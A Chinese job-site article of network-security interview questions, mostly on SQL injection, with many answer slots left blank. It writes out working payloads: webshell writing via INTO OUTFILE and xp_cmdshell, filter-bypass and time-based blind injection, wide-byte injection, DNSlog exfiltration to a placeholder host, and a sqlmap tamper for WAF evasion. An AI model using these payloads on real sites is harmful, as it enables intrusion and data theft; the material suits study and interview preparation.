当前位置:龙泉人才网 - 公司招聘 -

网络管理员面试题(网络安全面试题)

  • 公司招聘
  • 2023-12-17 15:00
  • 龙泉小编

一、知识储备类

1.SQL与NoSQL的区别?

SQL:关系型数据库
NoSQL:非关系型数据库

2.常见的关系型数据库?

3.常见的数据库端口?

关系型:

非关系型:

4.简述数据库的存储引擎

数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)使用数据引擎进行创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎,还可以获得特定的功能。

5.SQL注入有哪几种注入类型?

6.SQL注入的危害及防御?

危害:

防御:

7.如果存在SQL注入怎么判断不同的数据库?

8.mysql的网站注入,5.0以上和5.0以下有什么区别?

9.Mysql一个@和两个@什么区别

10.MYSQL注入/绕过常用的函数

注入常用函数:

等价函数绕过,反之亦可:

11.UDF提权原理?

12.MSSQL差异备份原理及条件?

原理:

条件:

二、实操技能类

1.SQL注入写shell的条件,用法

条件:

用法: mysql:

id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径shell.php" %23

sqlserver:

id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径shell.asp' --

2.sql注入过滤了逗号,怎么弄?

join绕过:

union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

3.sleep被禁用后还能怎么进行sql注入

benchmark代替sleep:

id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+

笛卡尔积盲注:

select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)

RLIKE盲注:

select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)

4.什么是宽字节注入?如何操作?

宽字节注入:

操作:

id=1%df' and 1=2 union select 1,2,user(),4 %23

5.怎样进行盲注速度更快?

DNSlog盲注:

id=1' and load_file(concat('\\',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),'.your-dnslog.com\cHr1s'))--+

6.什么是二次注入?

举例:

7.sql注入常见的过WAF方法?

8.sqlmap如何编写tamper?

tamper固定模板如下:

from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): pass

PROIORITY

用于定义tamper优先级,当调用多个tamper时生效,优先级如下,数值越大优先级越高

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100

dependencies

用于提示用户tamper适用范围,具体代码如下:

from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS import os __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

DBMS.MYSQL代表MYSQL,其他数据库类推

Tamper

tamper关键函数,用于定义过滤规则,示例代码如下:

from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): payload=payload.replace('AND','/*!29440AND*/') payload=payload.replace('ORDER','/*!29440order*/') payload=payload.replace('LIKE USER()','like (user/**/())') payload=payload.replace('DATABASE()','database/*!29440*/()') payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()') payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)') payload=payload.replace('UNION ALL SELECT','union/*!29440select*/') payload=payload.replace('super_priv','/*!29440/**/super_priv*/') payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/') payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(') payload=payload.replace('SLEEP(','sleep/**/(') return payload

fuzz出具体payload后对关键字符进行替换

平台文章字数有限,下面的面试题我以图片的形式展示:

网络管理员面试题(网络安全面试题)

网络管理员面试题(网络安全面试题)

需要完整面试题的伙伴可点击《点此领取完整面试题》

免责声明:本文内容来源于网络或用户投稿,龙泉人才网仅提供信息存储空间服务,不承担相关法律责任。若收录文章侵犯到您的权益/违法违规的内容,可请联系我们删除。
https://www.lqrc.cn/a/gongsi/90028.html

  • 关注微信

猜你喜欢

微信公众号